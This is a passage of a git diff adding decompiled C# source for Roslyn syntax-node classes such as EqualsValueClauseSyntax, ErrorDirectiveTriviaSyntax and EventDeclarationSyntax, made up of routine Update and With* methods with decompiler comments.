Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new EnumMemberDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Identifier, EqualsValue); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new EnumMemberDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Identifier, EqualsValue); + } + + public EnumMemberDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, identifier, EqualsValue); + } + + public EnumMemberDeclarationSyntax WithEqualsValue(EqualsValueClauseSyntax? equalsValue) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Identifier, equalsValue); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new EnumMemberDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new EnumMemberDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EqualsValueClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EqualsValueClauseSyntax.cs new file mode 100644 index 0000000..8664e9f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EqualsValueClauseSyntax.cs @@ -0,0 +1,75 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class EqualsValueClauseSyntax : CSharpSyntaxNode +{ + private ExpressionSyntax? value; + + public SyntaxToken EqualsToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EqualsValueClauseSyntax)(object)((SyntaxNode)this).Green).equalsToken, ((SyntaxNode)this).Position, 0); + + public ExpressionSyntax Value => ((SyntaxNode)this).GetRed(ref value, 1); + + internal EqualsValueClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref value, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)value; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEqualsValueClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEqualsValueClause(this); + } + + public EqualsValueClauseSyntax Update(SyntaxToken equalsToken, ExpressionSyntax value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (equalsToken != EqualsToken || value != Value) + { + EqualsValueClauseSyntax equalsValueClauseSyntax = SyntaxFactory.EqualsValueClause(equalsToken, value); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return equalsValueClauseSyntax; + } + return equalsValueClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public EqualsValueClauseSyntax WithEqualsToken(SyntaxToken equalsToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(equalsToken, Value); + } + + public EqualsValueClauseSyntax WithValue(ExpressionSyntax value) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(EqualsToken, value); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ErrorDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ErrorDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..f24609a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/ErrorDirectiveTriviaSyntax.cs @@ -0,0 +1,107 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class ErrorDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + public override SyntaxToken HashToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ErrorDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).hashToken, ((SyntaxNode)this).Position, 0); + + public SyntaxToken ErrorKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ErrorDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).errorKeyword, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public override SyntaxToken EndOfDirectiveToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ErrorDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).endOfDirectiveToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override bool IsActive => ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ErrorDirectiveTriviaSyntax)(object)((SyntaxNode)this).Green).IsActive; + + internal ErrorDirectiveTriviaSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return null; + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return null; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitErrorDirectiveTrivia(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitErrorDirectiveTrivia(this); + } + + public ErrorDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken errorKeyword, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (hashToken != HashToken || errorKeyword != ErrorKeyword || endOfDirectiveToken != EndOfDirectiveToken) + { + ErrorDirectiveTriviaSyntax errorDirectiveTriviaSyntax = SyntaxFactory.ErrorDirectiveTrivia(hashToken, errorKeyword, endOfDirectiveToken, isActive); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return errorDirectiveTriviaSyntax; + } + return errorDirectiveTriviaSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override DirectiveTriviaSyntax WithHashTokenCore(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithHashToken(hashToken); + } + + public new ErrorDirectiveTriviaSyntax WithHashToken(SyntaxToken hashToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(hashToken, ErrorKeyword, EndOfDirectiveToken, IsActive); + } + + public ErrorDirectiveTriviaSyntax WithErrorKeyword(SyntaxToken errorKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, errorKeyword, EndOfDirectiveToken, IsActive); + } + + internal override DirectiveTriviaSyntax WithEndOfDirectiveTokenCore(SyntaxToken endOfDirectiveToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithEndOfDirectiveToken(endOfDirectiveToken); + } + + public new ErrorDirectiveTriviaSyntax WithEndOfDirectiveToken(SyntaxToken endOfDirectiveToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ErrorKeyword, endOfDirectiveToken, IsActive); + } + + public ErrorDirectiveTriviaSyntax WithIsActive(bool isActive) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return Update(HashToken, ErrorKeyword, EndOfDirectiveToken, isActive); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EventDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EventDeclarationSyntax.cs new file mode 100644 index 0000000..5767cf5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EventDeclarationSyntax.cs @@ -0,0 +1,298 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class EventDeclarationSyntax : BasePropertyDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private TypeSyntax? type; + + private ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier; + + private AccessorListSyntax? accessorList; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken EventKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EventDeclarationSyntax)(object)((SyntaxNode)this).Green).eventKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 3); + + public override ExplicitInterfaceSpecifierSyntax? ExplicitInterfaceSpecifier => ((SyntaxNode)this).GetRed(ref explicitInterfaceSpecifier, 4); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EventDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(5), ((SyntaxNode)this).GetChildIndex(5)); + + public override AccessorListSyntax? AccessorList => ((SyntaxNode)this).GetRed(ref accessorList, 6); + + public SyntaxToken SemicolonToken + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EventDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(7), ((SyntaxNode)this).GetChildIndex(7)); + } + } + + public EventDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken eventKeyword, TypeSyntax type, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax accessorList) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, eventKeyword, type, explicitInterfaceSpecifier, identifier, accessorList, SemicolonToken); + } + + public EventDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken eventKeyword, TypeSyntax type, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifier, SyntaxToken identifier, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, eventKeyword, type, explicitInterfaceSpecifier, identifier, AccessorList, semicolonToken); + } + + internal EventDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref type, 3), + 4 => ((SyntaxNode)this).GetRed(ref explicitInterfaceSpecifier, 4), + 6 => ((SyntaxNode)this).GetRed(ref accessorList, 6), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => type, + 4 => explicitInterfaceSpecifier, + 6 => accessorList, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEventDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEventDeclaration(this); + } + + public EventDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken eventKeyword, TypeSyntax type, ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, SyntaxToken identifier, AccessorListSyntax? accessorList, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || eventKeyword != EventKeyword || type != Type || explicitInterfaceSpecifier != ExplicitInterfaceSpecifier || identifier != Identifier || accessorList != AccessorList || semicolonToken != SemicolonToken) + { + EventDeclarationSyntax eventDeclarationSyntax = SyntaxFactory.EventDeclaration(attributeLists, modifiers, eventKeyword, type, explicitInterfaceSpecifier, identifier, accessorList, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return eventDeclarationSyntax; + } + return eventDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new EventDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, EventKeyword, Type, ExplicitInterfaceSpecifier, Identifier, AccessorList, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new EventDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, EventKeyword, Type, ExplicitInterfaceSpecifier, Identifier, AccessorList, SemicolonToken); + } + + public EventDeclarationSyntax WithEventKeyword(SyntaxToken eventKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, eventKeyword, Type, ExplicitInterfaceSpecifier, Identifier, AccessorList, SemicolonToken); + } + + internal override BasePropertyDeclarationSyntax WithTypeCore(TypeSyntax type) + { + return WithType(type); + } + + public new EventDeclarationSyntax WithType(TypeSyntax type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EventKeyword, type, ExplicitInterfaceSpecifier, Identifier, AccessorList, SemicolonToken); + } + + internal override BasePropertyDeclarationSyntax WithExplicitInterfaceSpecifierCore(ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier) + { + return WithExplicitInterfaceSpecifier(explicitInterfaceSpecifier); + } + + public new EventDeclarationSyntax WithExplicitInterfaceSpecifier(ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EventKeyword, Type, explicitInterfaceSpecifier, Identifier, AccessorList, SemicolonToken); + } + + public EventDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EventKeyword, Type, ExplicitInterfaceSpecifier, identifier, AccessorList, SemicolonToken); + } + + internal override BasePropertyDeclarationSyntax WithAccessorListCore(AccessorListSyntax? accessorList) + { + return WithAccessorList(accessorList); + } + + public new EventDeclarationSyntax WithAccessorList(AccessorListSyntax? accessorList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EventKeyword, Type, ExplicitInterfaceSpecifier, Identifier, accessorList, SemicolonToken); + } + + public EventDeclarationSyntax WithSemicolonToken(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, EventKeyword, Type, ExplicitInterfaceSpecifier, Identifier, AccessorList, semicolonToken); + } + + internal override MemberDeclarationSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new EventDeclarationSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + internal override MemberDeclarationSyntax AddModifiersCore(params SyntaxToken[] items) + { + return AddModifiers(items); + } + + public new EventDeclarationSyntax AddModifiers(params SyntaxToken[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + SyntaxTokenList modifiers = Modifiers; + return WithModifiers(((SyntaxTokenList)(ref modifiers)).AddRange((IEnumerable)items)); + } + + internal override BasePropertyDeclarationSyntax AddAccessorListAccessorsCore(params AccessorDeclarationSyntax[] items) + { + return AddAccessorListAccessors(items); + } + + public new EventDeclarationSyntax AddAccessorListAccessors(params AccessorDeclarationSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + AccessorListSyntax accessorListSyntax = AccessorList ?? SyntaxFactory.AccessorList(); + return WithAccessorList(accessorListSyntax.WithAccessors(accessorListSyntax.Accessors.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EventFieldDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EventFieldDeclarationSyntax.cs new file mode 100644 index 0000000..9d2aa5b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/EventFieldDeclarationSyntax.cs @@ -0,0 +1,205 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class EventFieldDeclarationSyntax : BaseFieldDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private VariableDeclarationSyntax? declaration; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken EventKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EventFieldDeclarationSyntax)(object)((SyntaxNode)this).Green).eventKeyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public override VariableDeclarationSyntax Declaration => ((SyntaxNode)this).GetRed(ref declaration, 3); + + public override SyntaxToken SemicolonToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.EventFieldDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + internal EventFieldDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref declaration, 3), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => declaration, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitEventFieldDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitEventFieldDeclaration(this); + } + + public EventFieldDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken eventKeyword, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || eventKeyword != EventKeyword || declaration != Declaration || semicolonToken != SemicolonToken) + { + EventFieldDeclarationSyntax eventFieldDeclarationSyntax = SyntaxFactory.EventFieldDeclaration(attributeLists, modifiers, eventKeyword, declaration, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return eventFieldDeclarationSyntax; + } + return eventFieldDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new EventFieldDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, EventKeyword, Declaration, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new EventFieldDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, EventKeyword, Declaration, SemicolonToken); + } + + public EventFieldDeclarationSyntax WithEventKeyword(SyntaxToken eventKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + 